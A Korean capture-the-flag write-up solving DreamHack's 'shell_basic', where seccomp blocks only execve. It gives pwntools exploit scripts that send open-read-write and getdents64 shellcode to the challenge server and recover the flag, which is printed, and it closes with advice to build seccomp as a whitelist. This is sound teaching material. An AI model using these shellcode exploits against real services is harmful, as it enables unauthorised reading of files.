[๐Ÿฅ‰ Bronze 4] execve ๋งŒ ๋ง‰ํžŒ seccomp ์•ˆ์—์„œ ORW ์…ธ์ฝ”๋“œ๋กœ flag ์ฝ๊ธฐ โ€” DreamHack shell_basic ํ’€์ด

2026-06-23ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 4] execve ๋งŒ ๋ง‰ํžŒ seccomp ์•ˆ์—์„œ ORW ์…ธ์ฝ”๋“œ๋กœ flag ์ฝ๊ธฐ โ€” DreamHack shell_basic ํ’€์ด

RWX ์˜์—ญ์— ์˜ฌ๋ฆฐ ์…ธ์ฝ”๋“œ๋ฅผ ๊ทธ๋Œ€๋กœ ์‹คํ–‰ํ•ด ์ฃผ๋Š”๋ฐ, seccomp ๊ฐ€ execve/execveat ๋งŒ KILL ํ•œ๋‹ค. ์…ธ์€ ๋ชป ๋”ฐ๋‹ˆ open-read-write ์…ธ์ฝ”๋“œ๋กœ flag ํŒŒ์ผ์„ ์ง์ ‘ ์ฝ์–ด ํ‘œ์ค€์ถœ๋ ฅ์œผ๋กœ ํ˜๋ ค๋ณด๋‚ธ๋‹ค. ํ‘œ์ค€ ๊ฒฝ๋กœ /home/shell_basic/flag ๊ฐ€ ์•„๋‹ˆ๋ผ getdents64 ๋กœ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋’ค์ ธ ์ง„์งœ ์ด๋ฆ„์„ ์ฐพ์•„์•ผ ํ–ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” shell_basic ๋ถ„๋ฅ˜: Pwnable (System Hacking) ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 4 FLAG: DH{ca562d7cf1db6c55cb11c4ec350a3c0b}


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…shell_basic
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 4
๋ถ„๋ฅ˜Pwnable (System Hacking)
์ œ๊ณต ํŒŒ์ผshell_basic (ELF 64-bit PIE), shell_basic.c
์„œ๋ฒ„nc host3.dreamhack.games 14199
ํ•ต์‹ฌ ์ทจ์•ฝ์  / ๊ธฐ๋ฒ•์ž„์˜ ์…ธ์ฝ”๋“œ ์‹คํ–‰ + seccomp ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ (ORW)

๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์นœ์ ˆํ•˜๊ฒŒ๋„ ์šฐ๋ฆฌ๊ฐ€ ๋ณด๋‚ธ ๋ฐ”์ดํŠธ๋ฅผ RWX ๋ฉ”๋ชจ๋ฆฌ์— ์˜ฌ๋ ค ๊ทธ๋Œ€๋กœ ์‹คํ–‰ํ•ด ์ค€๋‹ค. ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์ด ์ฒ˜์Œ๋ถ€ํ„ฐ ์ฃผ์–ด์ง„ ์…ˆ์ด๋‹ค.

๋ฌธ์ œ๋Š” execve/execveat ๋‘ ์‹œ์Šคํ…œ์ฝœ์ด seccomp ๋กœ ๋ง‰ํ˜€ ์žˆ๋‹ค๋Š” ๊ฒƒ. ๊ทธ๋ž˜์„œ /bin/sh ์…ธ์„ ๋„์šฐ๋Š” ์ต์ˆ™ํ•œ ๊ธธ์€ ๋‹ซํ˜€ ์žˆ๊ณ , ๋Œ€์‹  open โ†’ read โ†’ write ์„ธ ์ฝœ๋งŒ์œผ๋กœ flag ํŒŒ์ผ์„ ์—ด์–ด ์ฝ๊ณ  ๊ทธ ๋‚ด์šฉ์„ ์†Œ์ผ“(ํ‘œ์ค€์ถœ๋ ฅ)์œผ๋กœ ํ† ํ•ด๋‚ด์•ผ ํ•œ๋‹ค. ์ด๊ฒŒ "ORW ์…ธ์ฝ”๋“œ"๋ผ ๋ถ€๋ฅด๋Š” ์‹œ์Šคํ…œ ํ•ดํ‚น ์ž…๋ฌธ์˜ ์ •์„ ํŒจํ„ด์ด๋‹ค.

๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” seccomp ์™€ ORW

seccomp(secure computing) ๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ์‹œ์Šคํ…œ์ฝœ์„ ์ปค๋„ ์ˆ˜์ค€์—์„œ ์ œํ•œํ•˜๋Š” ํ•„ํ„ฐ๋‹ค. libseccomp ๋กœ ๊ทœ์น™์„ ์งค ๋•Œ ๊ธฐ๋ณธ ๋™์ž‘(default action)์„ ์ •ํ•˜๊ณ , ๊ฑฐ๊ธฐ์— ์˜ˆ์™ธ ๊ทœ์น™์„ ์–น๋Š”๋‹ค.

  • SCMP_ACT_ALLOW ๋ฅผ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ๋‘๋ฉด โ†’ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ๋œ๋‹ค. ๋ช…์‹œ์ ์œผ๋กœ ๋ง‰์€ ์ฝœ๋งŒ ์ฐจ๋‹จ๋˜๊ณ  ๋‚˜๋จธ์ง€๋Š” ์ „๋ถ€ ํ†ต๊ณผ.
  • SCMP_ACT_KILL ๊ทœ์น™์„ ํŠน์ • ์ฝœ์— ๊ฑธ๋ฉด โ†’ ๊ทธ ์ฝœ์ด ํ˜ธ์ถœ๋˜๋Š” ์ˆœ๊ฐ„ SIGSYS ๋กœ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ฆ‰์‚ฌํ•œ๋‹ค.

์ด ๋ฌธ์ œ๋Š” ๊ธฐ๋ณธ๊ฐ’์ด ALLOW ์ด๊ณ  execve/execveat ๋งŒ KILL ์ด๋‹ค. ์ฆ‰ ์…ธ ์‹คํ–‰๋งŒ ๋นผ๊ณ  ๊ฑฐ์˜ ๋ชจ๋“  ๊ฒƒ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค. ํŒŒ์ผ์„ ์—ฌ๋Š” open, ๋‚ด์šฉ์„ ์ฝ๋Š” read, ์ถœ๋ ฅ์œผ๋กœ ๋‚ด๋ณด๋‚ด๋Š” write ๋Š” ์ „๋ถ€ ์‚ด์•„ ์žˆ๋‹ค. ์…ธ์„ ๋ชป ๋”ฐ๋„ flag ํŒŒ์ผ์€ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ๋œป์ด๋‹ค.

seccomp ํ•„ํ„ฐ ๊ฒŒ์ดํŠธ โ€” execve/execveat ๋งŒ KILL, openยทreadยทwrite ๋Š” ํ†ต๊ณผ
seccomp ํ•„ํ„ฐ ๊ฒŒ์ดํŠธ โ€” execve/execveat ๋งŒ KILL, openยทreadยทwrite ๋Š” ํ†ต๊ณผ

ORW ๋Š” ์ด ์ƒํ™ฉ์˜ ํ‘œ์ค€ ๋‹ต์ด๋‹ค. ์…ธ์ฝ”๋“œ ์•ˆ์—์„œ ์ง์ ‘:

fd  = open("/flag/๊ฒฝ๋กœ", O_RDONLY)   // ํŒŒ์ผ์„ ์—ฐ๋‹ค
       read(fd, buf, n)              // ๋‚ด์šฉ์„ ๋ฒ„ํผ๋กœ ์ฝ๋Š”๋‹ค
       write(1, buf, n)              // ํ‘œ์ค€์ถœ๋ ฅ(=์†Œ์ผ“)์œผ๋กœ ๋‚ด๋ณด๋‚ธ๋‹ค

์„ธ ์ค„์ด๋ฉด ๋๋‚œ๋‹ค. ์…ธ์ด ํ•„์š” ์—†๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์ œ๊ณต๋œ ์†Œ์Šค๋Š” ์งง๋‹ค. ํ•ต์‹ฌ๋งŒ ๋ณด๋ฉด:

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);          // ๊ธฐ๋ณธ = ์ „๋ถ€ ํ—ˆ์šฉ
  if (ctx == NULL) exit(0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);   // execve ๋งŒ KILL
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0); // execveat ๋งŒ KILL
  seccomp_load(ctx);
}
 
void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000,
                         PROT_READ | PROT_WRITE | PROT_EXEC,   // RWX ์˜์—ญ
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  void (*sc)();
  init();
  banned_execve();                 // seccomp ์žฅ์ฐฉ
  printf("shellcode: ");
  read(0, shellcode, 0x1000);      // ์šฐ๋ฆฌ๊ฐ€ ๋ณด๋‚ธ ๋ฐ”์ดํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ›์•„
  sc = (void *)shellcode;
  sc();                            // ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ ์ ํ”„ โ†’ ์‹คํ–‰
}

ํ๋ฆ„์ด ๊ทธ๋Œ€๋กœ ๋ณด์ธ๋‹ค. mmap ์œผ๋กœ ์ฝ๊ธฐยท์“ฐ๊ธฐยท์‹คํ–‰์ด ์ „๋ถ€ ๊ฐ€๋Šฅํ•œ 0x1000 ๋ฐ”์ดํŠธ ์˜์—ญ์„ ์žก๊ณ , read(0, shellcode, 0x1000) ์œผ๋กœ stdin ์—์„œ ์ตœ๋Œ€ 4KB ๋ฅผ ๋ฐ›์€ ๋’ค ๊ทธ ์ฃผ์†Œ๋กœ ์ ํ”„ํ•œ๋‹ค. ์ž…๋ ฅ ๋ฐ”์ดํŠธ = ์‹คํ–‰๋  ๊ธฐ๊ณ„์–ด. BOF ๋„ ROP ๋„ ํ•„์š” ์—†๋Š”, ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์ด ์„ ๋ฌผ์ฒ˜๋Ÿผ ์ฃผ์–ด์ง„ ๊ตฌ์กฐ๋‹ค.

๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ํ™•์ธํ•ด ๋ณด๋ฉด NX ๊ฐ€ ์ผœ์ ธ ์žˆ์ง€๋งŒ ์ •์ž‘ ์…ธ์ฝ”๋“œ๊ฐ€ ์˜ฌ๋ผ๊ฐ€๋Š” ๊ณณ์€ mmap ์˜ RWX ์˜์—ญ์ด๋ผ ๋ฌด์˜๋ฏธํ•˜๊ณ , ์นด๋‚˜๋ฆฌ๋„ ๋ฎ์„ ์Šคํƒ์ด ์—†์œผ๋‹ˆ ์˜๋ฏธ๊ฐ€ ์—†๋‹ค. ์šฐ๋ฆฌ์—๊ฒŒ ํ•„์š”ํ•œ ์ œ์•ฝ์€ ์˜ค์ง seccomp ํ•˜๋‚˜๋‹ค.

file shell_basic && checksec --file=shell_basic
file ๊ณผ checksec ์ถœ๋ ฅ โ€” shell_basic ์€ 64๋น„ํŠธ PIE ์‹คํ–‰ ํŒŒ์ผ์ด๊ณ  Full RELRO ์™€ NX ๋Š” ์ผœ์ ธ ์žˆ์ง€๋งŒ ์นด๋‚˜๋ฆฌ๊ฐ€ ์—†๋‹ค. ์…ธ์ฝ”๋“œ๋Š” RWX mmap ์˜์—ญ์—์„œ ๋Œ์•„ NX ๋Š” ๋ฌด์˜๋ฏธํ•˜๋‹ค
file ๊ณผ checksec ์ถœ๋ ฅ โ€” shell_basic ์€ 64๋น„ํŠธ PIE ์‹คํ–‰ ํŒŒ์ผ์ด๊ณ  Full RELRO ์™€ NX ๋Š” ์ผœ์ ธ ์žˆ์ง€๋งŒ ์นด๋‚˜๋ฆฌ๊ฐ€ ์—†๋‹ค. ์…ธ์ฝ”๋“œ๋Š” RWX mmap ์˜์—ญ์—์„œ ๋Œ์•„ NX ๋Š” ๋ฌด์˜๋ฏธํ•˜๋‹ค

๊ทธ๋Ÿผ seccomp ํ•„ํ„ฐ๊ฐ€ ์‹ค์ œ๋กœ ๋ฌด์—‡์„ ๋ง‰๋Š”์ง€ ์ง์ ‘ ๋–  ๋ณธ๋‹ค. seccomp-tools ๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด์„œ seccomp ๊ทœ์น™์„ ๊ทธ๋Œ€๋กœ ๋คํ”„ํ•  ์ˆ˜ ์žˆ๋‹ค.

seccomp-tools dump ./shell_basic
seccomp-tools ๋คํ”„ โ€” ํ•„ํ„ฐ๊ฐ€ x86_64 ์•„ํ‚คํ…์ฒ˜๋ฅผ ๋จผ์ € ํ™•์ธํ•œ ๋’ค execve ์™€ execveat ๋‘ ๊ฐœ๋งŒ KILL ๋กœ ๋ณด๋‚ด๊ณ  ๋‚˜๋จธ์ง€ syscall ์€ ์ „๋ถ€ ALLOW ๋กœ ํ†ต๊ณผ์‹œํ‚จ๋‹ค
seccomp-tools ๋คํ”„ โ€” ํ•„ํ„ฐ๊ฐ€ x86_64 ์•„ํ‚คํ…์ฒ˜๋ฅผ ๋จผ์ € ํ™•์ธํ•œ ๋’ค execve ์™€ execveat ๋‘ ๊ฐœ๋งŒ KILL ๋กœ ๋ณด๋‚ด๊ณ  ๋‚˜๋จธ์ง€ syscall ์€ ์ „๋ถ€ ALLOW ๋กœ ํ†ต๊ณผ์‹œํ‚จ๋‹ค

BPF ๊ฐ€ ์นœ์ ˆํ•˜๊ฒŒ ํ’€๋ ค ๋‚˜์˜จ๋‹ค. if (A == execve) goto 0008, if (A == execveat) goto 0008, ๊ทธ๋ฆฌ๊ณ  0008 ์€ return KILL. ๋‘ ์ฝœ๋งŒ ๊ณจ๋ผ ์ฃฝ์ด๊ณ  0007 ์˜ return ALLOW ๋กœ ๋‚˜๋จธ์ง€๋Š” ์ „๋ถ€ ํ†ต๊ณผ์‹œํ‚จ๋‹ค. ์†Œ์Šค์—์„œ ๋ณธ ๊ทธ๋Œ€๋กœ๋‹ค. openยทreadยทwrite ๋Š” ์†๋„ ์•ˆ ๋Œ„๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” flag ๊ฒฝ๋กœ๋ฅผ ํ‘œ์ค€ ์œ„์น˜๋กœ ์ฐ์—ˆ๋‹ค

์ด ๋ฌธ์ œ์˜ flag ๊ฐ€ /home/shell_basic/flag ์— ์žˆ์„ ๊ฑฐ๋ผ๊ณ  ๋ฉ‹๋Œ€๋กœ ๋‹จ์ •ํ•˜๊ณ  ORW ์…ธ์ฝ”๋“œ๋ฅผ ๋จผ์ € ์งฐ๋‹ค. shellcraft.open ์€ ๊ฒฝ๋กœ ๋ฌธ์ž์—ด์„ ์Šคํƒ์— push ํ•˜๊ณ  open ์„ ํ˜ธ์ถœํ•˜๋ฏ€๋กœ, ์ด์–ด์ง€๋Š” read(fd, rsp, n) ์€ ๊ทธ ๋ฌธ์ž์—ด ์ž๋ฆฌ(rsp)๋ฅผ flag ๋‚ด์šฉ์œผ๋กœ ๋ฎ์–ด์“ด๋‹ค โ€” ์ •์ƒ์ด๋ฉด.

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” open ์ด -1 ์„ ๋Œ๋ ค์ฃผ๋ฉด read ๊ฐ€ ๋ฒ„ํผ๋ฅผ ๋ชป ๋ฎ์–ด์“ด๋‹ค

๋Œ๋ ค ๋ณด๋‹ˆ flag ๊ฐ€ ์•„๋‹ˆ๋ผ ๋‚ด๊ฐ€ ๋ณด๋‚ธ ๊ฒฝ๋กœ ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ๋˜๋Œ์•„์™”๋‹ค.

sc  = shellcraft.open("/home/shell_basic/flag")   # ์‹ค์ œ๋กœ๋Š” ์—†๋Š” ํŒŒ์ผ
sc += shellcraft.read("rax", "rsp", 0x40)
sc += shellcraft.write(1, "rsp", 0x40)
์ฒซ ์‹œ๋„ ์‹คํŒจ โ€” ๊ฒฝ๋กœ๋ฅผ /home/shell_basic/flag ๋กœ ์ฐ์—ˆ๋”๋‹ˆ open ์ด ์‹คํŒจํ•ด read ๊ฐ€ ์Šคํƒ์„ ๋ชป ๋ฎ์—ˆ๊ณ , ์šฐ๋ฆฌ๊ฐ€ ๋ณด๋‚ธ ๊ฒฝ๋กœ ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ๋˜๋Œ์•„์™”๋‹ค
์ฒซ ์‹œ๋„ ์‹คํŒจ โ€” ๊ฒฝ๋กœ๋ฅผ /home/shell_basic/flag ๋กœ ์ฐ์—ˆ๋”๋‹ˆ open ์ด ์‹คํŒจํ•ด read ๊ฐ€ ์Šคํƒ์„ ๋ชป ๋ฎ์—ˆ๊ณ , ์šฐ๋ฆฌ๊ฐ€ ๋ณด๋‚ธ ๊ฒฝ๋กœ ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ๋˜๋Œ์•„์™”๋‹ค

์ถœ๋ ฅ ๋งจ ์•ž์— /home/shell_basic/flag\x00\x00... ๊ฐ€ ๋ณด์ธ๋‹ค. open ์ด ํŒŒ์ผ์„ ๋ชป ์ฐพ์•„ -ENOENT(์Œ์ˆ˜ fd)๋ฅผ ๋ฐ˜ํ™˜ํ–ˆ๊ณ , ๊ทธ ์Œ์ˆ˜๋ฅผ fd ๋กœ ๋ฐ›์€ read ๋„ ์‹คํŒจํ•ด ์Šคํƒ์˜ ๊ฒฝ๋กœ ๋ฌธ์ž์—ด์„ ๊ทธ๋Œ€๋กœ ๋‘” ์ฑ„ write ๊ฐ€ ๊ทธ ์˜์—ญ์„ ๋ฑ‰์€ ๊ฒƒ์ด๋‹ค.

์…ธ์ฝ”๋“œ๊ฐ€ ์ถœ๋ ฅ์œผ๋กœ ์ž๊ธฐ ์ž…๋ ฅ(๊ฒฝ๋กœ)์„ ๋Œ๋ ค์ฃผ๋ฉด open ์ด ์‹คํŒจํ•œ ์‹ ํ˜ธ๋‹ค. ๊ฒฝ๋กœ๋ฅผ ์ถ”์ธกํ•˜์ง€ ๋ง๊ณ  ์ง์ ‘ ์ฐพ์•„์•ผ ํ–ˆ๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” getdents64 ๋กœ ์ง„์งœ flag ์ด๋ฆ„ ์ฐพ๊ธฐ

seccomp ๊ฐ€ execve ๋งŒ ๋ง‰์•˜๋‹ค๋Š” ๊ฑด, ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋‚˜์—ดํ•˜๋Š” ์‹œ์Šคํ…œ์ฝœ๋„ ์‚ด์•„ ์žˆ๋‹ค๋Š” ๋œป์ด๋‹ค. open(dir, O_DIRECTORY) ๋กœ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์—ด๊ณ  getdents64 ๋กœ ์—”ํŠธ๋ฆฌ๋ฅผ ๊ธ์–ด write ๋กœ ๋‚ด๋ณด๋‚ด๋ฉด, ์…ธ ์—†์ด๋„ ls ๋ฅผ ํ‰๋‚ด ๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

# find_flag.py โ€” getdents64 ์…ธ์ฝ”๋“œ๋กœ /home/shell_basic ๋ฅผ ๋‚˜์—ด
import struct
from pwn import *
context.arch = "amd64"
context.log_level = "warn"
 
# open("/home/shell_basic", O_RDONLY|O_DIRECTORY=0x10000)
sc  = shellcraft.open("/home/shell_basic", 0x10000, 0)
sc += shellcraft.getdents64("rax", "rsp", 0x800)   # rax = fd
sc += shellcraft.write(1, "rsp", "rax")            # ์ฝ์€ ๋ฐ”์ดํŠธ ์ˆ˜๋งŒํผ ์ถœ๋ ฅ
 
p = remote("host3.dreamhack.games", 14199)
p.recvuntil(b"shellcode: ")
p.send(asm(sc))
raw = p.recvall(timeout=4)
p.close()
 
print("[*] /home/shell_basic :")
i = 0
while i + 19 < len(raw):                            # linux_dirent64 ๋ ˆ์ฝ”๋“œ ํŒŒ์‹ฑ
    reclen = struct.unpack("<H", raw[i+16:i+18])[0] # d_reclen
    if reclen == 0:
        break
    name = raw[i+19:i+reclen].split(b"\x00")[0].decode("latin1")  # d_name
    mark = "   <-- flag?" if "flag" in name else ""
    print(f"    {name}{mark}")
    i += reclen

getdents64 ๋Š” linux_dirent64 ๋ ˆ์ฝ”๋“œ๋ฅผ ์—ฐ๋‹ฌ์•„ ์ฑ„์›Œ ์ค€๋‹ค. ๊ฐ ๋ ˆ์ฝ”๋“œ๋Š” d_ino(8) ยท d_off(8) ยท d_reclen(2) ยท d_type(1) ยท d_name(๊ฐ€๋ณ€) ๊ตฌ์กฐ๋ผ, d_reclen ๋งŒํผ์”ฉ ๊ฑด๋„ˆ๋›ฐ๋ฉฐ d_name ์„ ๋ฝ‘์œผ๋ฉด ํŒŒ์ผ ๋ชฉ๋ก์ด ๋‚˜์˜จ๋‹ค.

getdents64 ์…ธ์ฝ”๋“œ๋กœ /home/shell_basic ์„ ๋‚˜์—ด โ€” run.sh, .profile, shell_basic ์‚ฌ์ด์— flag_name_is_loooooong ์ด๋ผ๋Š” ์ง„์งœ ํŒŒ์ผ๋ช…์ด ๋ณด์ธ๋‹ค
getdents64 ์…ธ์ฝ”๋“œ๋กœ /home/shell_basic ์„ ๋‚˜์—ด โ€” run.sh, .profile, shell_basic ์‚ฌ์ด์— flag_name_is_loooooong ์ด๋ผ๋Š” ์ง„์งœ ํŒŒ์ผ๋ช…์ด ๋ณด์ธ๋‹ค

flag ๋Š” ํ‘œ์ค€ flag ๊ฐ€ ์•„๋‹ˆ๋ผ ์ผ๋ถ€๋Ÿฌ ๊ธธ๊ฒŒ ์ง€์€ flag_name_is_loooooong ์ด์—ˆ๋‹ค. ๊ฒฝ๋กœ๋ฅผ ์ถ”์ธกํ•˜๋˜ ์‚ฌ๋žŒ์„ ํ•œ ๋ฒˆ ๊ฑธ๊ณ  ๋„˜์–ด์ง€๊ฒŒ ๋งŒ๋“  ์žฅ์น˜๋‹ค. ์ง„์งœ ๊ฒฝ๋กœ๋Š” /home/shell_basic/flag_name_is_loooooong.

๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” ORW ์…ธ์ฝ”๋“œ ์กฐ๋ฆฝ

๊ฒฝ๋กœ๋ฅผ ์•Œ์•˜์œผ๋‹ˆ ์ฒ˜์Œ ์˜๋„๋Œ€๋กœ ORW ๋ฅผ ์™„์„ฑํ•œ๋‹ค. pwntools ์˜ shellcraft ๊ฐ€ ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ๋งŒ๋“ค์–ด ์ฃผ๋ฏ€๋กœ ์„ธ ์ค„์ด๋ฉด ๋œ๋‹ค.

sc  = shellcraft.open("/home/shell_basic/flag_name_is_loooooong")
sc += shellcraft.read("rax", "rsp", 0x100)   # open ์ด ๋Œ๋ ค์ค€ fd ๊ฐ€ rax ์— ์žˆ๋‹ค
sc += shellcraft.write(1, "rsp", 0x100)      # ์ฝ์€ ๋‚ด์šฉ์„ ํ‘œ์ค€์ถœ๋ ฅ์œผ๋กœ

๋™์ž‘ ์›๋ฆฌ๋ฅผ ํ•œ ๋ฒˆ ์งš์œผ๋ฉด:

  • shellcraft.open(path) ๋Š” ๊ฒฝ๋กœ ๋ฌธ์ž์—ด์„ ์Šคํƒ์— push ํ•˜๊ณ  rdi = rsp(๋ฌธ์ž์—ด ์ฃผ์†Œ), rax = SYS_open ์œผ๋กœ syscall ์„ ํ˜ธ์ถœํ•œ๋‹ค. ์„ฑ๊ณตํ•˜๋ฉด rax ์— ํŒŒ์ผ ๋””์Šคํฌ๋ฆฝํ„ฐ๊ฐ€ ๋‹ด๊ธด๋‹ค.
  • ์ด์–ด์ง€๋Š” read("rax", "rsp", 0x100) ์€ ๊ทธ fd ์—์„œ 0x100 ๋ฐ”์ดํŠธ๋ฅผ rsp(๋ฐฉ๊ธˆ ๊ทธ ๋ฌธ์ž์—ด ์ž๋ฆฌ)๋กœ ์ฝ์–ด ๋“ค์ธ๋‹ค. flag ๋‚ด์šฉ์ด ์Šคํƒ์„ ๋ฎ๋Š”๋‹ค.
  • write(1, "rsp", 0x100) ์ด ๊ทธ ๋ฒ„ํผ๋ฅผ fd 1 ๋กœ ๋‚ด๋ณด๋‚ธ๋‹ค. ์›๊ฒฉ์—์„  fd 1 ์ด ๊ณง ์†Œ์ผ“์ด๋ผ flag ๊ฐ€ ์šฐ๋ฆฌ ํ™”๋ฉด์œผ๋กœ ๋Œ์•„์˜จ๋‹ค.

flag ํŒŒ์ผ์€ ํ•œ ์ค„(๊ฐœํ–‰์œผ๋กœ ๋)์ด๋ผ, ๋ฐ›์€ ๋ฐ์ดํ„ฐ์˜ ์ฒซ ์ค„๋งŒ ์ž˜๋ผ ์ถœ๋ ฅํ•˜๋ฉด ๊น”๋”ํ•˜๋‹ค.


๐Ÿš€ Full Exploit

#!/usr/bin/env python3
# shell_basic โ€” ORW shellcode
from pwn import *
 
context.arch = "amd64"
context.os = "linux"
 
HOST, PORT = "host3.dreamhack.games", 14199
FLAG_PATH = "/home/shell_basic/flag_name_is_loooooong"   # getdents64 ๋กœ ํ™•์ธํ•œ ์‹ค์ œ ๊ฒฝ๋กœ
 
# open(path) -> read(fd, rsp, 0x100) -> write(1, rsp, 0x100)
sc  = shellcraft.open(FLAG_PATH)
sc += shellcraft.read("rax", "rsp", 0x100)
sc += shellcraft.write(1, "rsp", 0x100)
payload = asm(sc)
 
p = remote(HOST, PORT)
p.recvuntil(b"shellcode: ")
p.send(payload)
data = p.recvall(timeout=5)
p.close()
 
import re
m = re.search(rb"DH\{[0-9a-fA-F]+\}", data)
print("[+] FLAG:", m.group().decode() if m else data.split(b"\n")[0].decode("latin1"))
solve.py ์›๊ฒฉ ์‹คํ–‰ โ€” ORW ์…ธ์ฝ”๋“œ๋กœ flag_name_is_loooooong ์„ ์—ด์–ด ์ฝ๊ณ  ํ‘œ์ค€์ถœ๋ ฅ์— ํ˜๋ ค 256๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›์•„ DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ํšŒ์ˆ˜ํ–ˆ๋‹ค
solve.py ์›๊ฒฉ ์‹คํ–‰ โ€” ORW ์…ธ์ฝ”๋“œ๋กœ flag_name_is_loooooong ์„ ์—ด์–ด ์ฝ๊ณ  ํ‘œ์ค€์ถœ๋ ฅ์— ํ˜๋ ค 256๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›์•„ DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ํšŒ์ˆ˜ํ–ˆ๋‹ค
[+] FLAG: DH{ca562d7cf1db6c55cb11c4ec350a3c0b}

open ์ด fd ๋ฅผ ์ •์ƒ์œผ๋กœ ๋Œ๋ ค์ฃผ๋‹ˆ ์ด๋ฒˆ์—” read ๊ฐ€ ์Šคํƒ์„ flag ๋‚ด์šฉ์œผ๋กœ ๋ฎ์—ˆ๊ณ , write ๊ฐ€ ๊ทธ๋Œ€๋กœ ํ† ํ•ด๋ƒˆ๋‹ค. seccomp ๊ฐ€ ๋ง‰์€ ๊ฑด execve ๋ฟ์ด๋ผ ORW ์ฒด์ธ์€ ์ฒ˜์Œ๋ถ€ํ„ฐ ๋๊นŒ์ง€ ์‚ด์•„์„œ ๋ˆ๋‹ค.


๐Ÿ“ ๊ฒฐ๋ก 

์…ธ์ฝ”๋“œ ์‹คํ–‰์ด ๊ณง ์…ธ์€ ์•„๋‹ˆ๋‹ค.

์ด ๋ฌธ์ œ์˜ ๊ตํ›ˆ์€ "์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป์–ด๋„ seccomp ๊ฐ™์€ ์‚ฌํ›„ ์ œ์•ฝ์ด ์žˆ์œผ๋ฉด ๊ณต๊ฒฉ ๊ฒฝ๋กœ๋ฅผ ๊ทธ์— ๋งž๊ฒŒ ๋ฐ”๊ฟ”์•ผ ํ•œ๋‹ค"๋Š” ์ ์ด๋‹ค. execve ๊ฐ€ ๋ง‰ํ˜”๋‹ค๊ณ  ๋์ด ์•„๋‹ˆ๋ผ, ํŒŒ์ผ์„ ์ฝ๋Š” ์ฝœ๋งŒ ์‚ด์•„ ์žˆ์–ด๋„ flag ํšŒ์ˆ˜๋ผ๋Š” ๋ชฉ์ ์€ ๋‹ฌ์„ฑ๋œ๋‹ค. ์‹œ์Šคํ…œ ํ•ดํ‚น์—์„œ ORW ๊ฐ€ ๋‹จ๊ณจ๋กœ ๋“ฑ์žฅํ•˜๋Š” ์ด์œ ๋‹ค.

๋ธ”๋ž™๋ฆฌ์ŠคํŠธ seccomp ๋Š” ๊ฑฐ์˜ ํ•ญ์ƒ ์šฐํšŒ๋‹นํ•œ๋‹ค.

๋ฐฉ์–ด์ž ๊ด€์ ์—์„œ ์ด ํ•„ํ„ฐ์˜ ๊ทผ๋ณธ ๋ฌธ์ œ๋Š” SCMP_ACT_ALLOW ๋ฅผ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ๋‘” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๊ตฌ์กฐ๋‹ค. execve/execveat ๋งŒ ๋ง‰์•„๋„ openยทreadยทwriteยทopenatยทgetdents64ยทsendfile ๋“ฑ ๋ฐ์ดํ„ฐ๋ฅผ ๋นผ๋‚ผ ์ˆ˜ ์žˆ๋Š” ์ฝœ์ด ์ˆ˜๋‘๋ฃฉํ•˜๊ฒŒ ์—ด๋ ค ์žˆ๋‹ค. ์‹ค์ œ ์ƒŒ๋“œ๋ฐ•์Šค๋Š” ๋ฐ˜๋Œ€๋กœ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ(SCMP_ACT_KILL ๊ธฐ๋ณธ + ๊ผญ ํ•„์š”ํ•œ ์ฝœ๋งŒ ALLOW)๋กœ ์งœ์•ผ ์˜๋ฏธ๊ฐ€ ์žˆ๋‹ค.

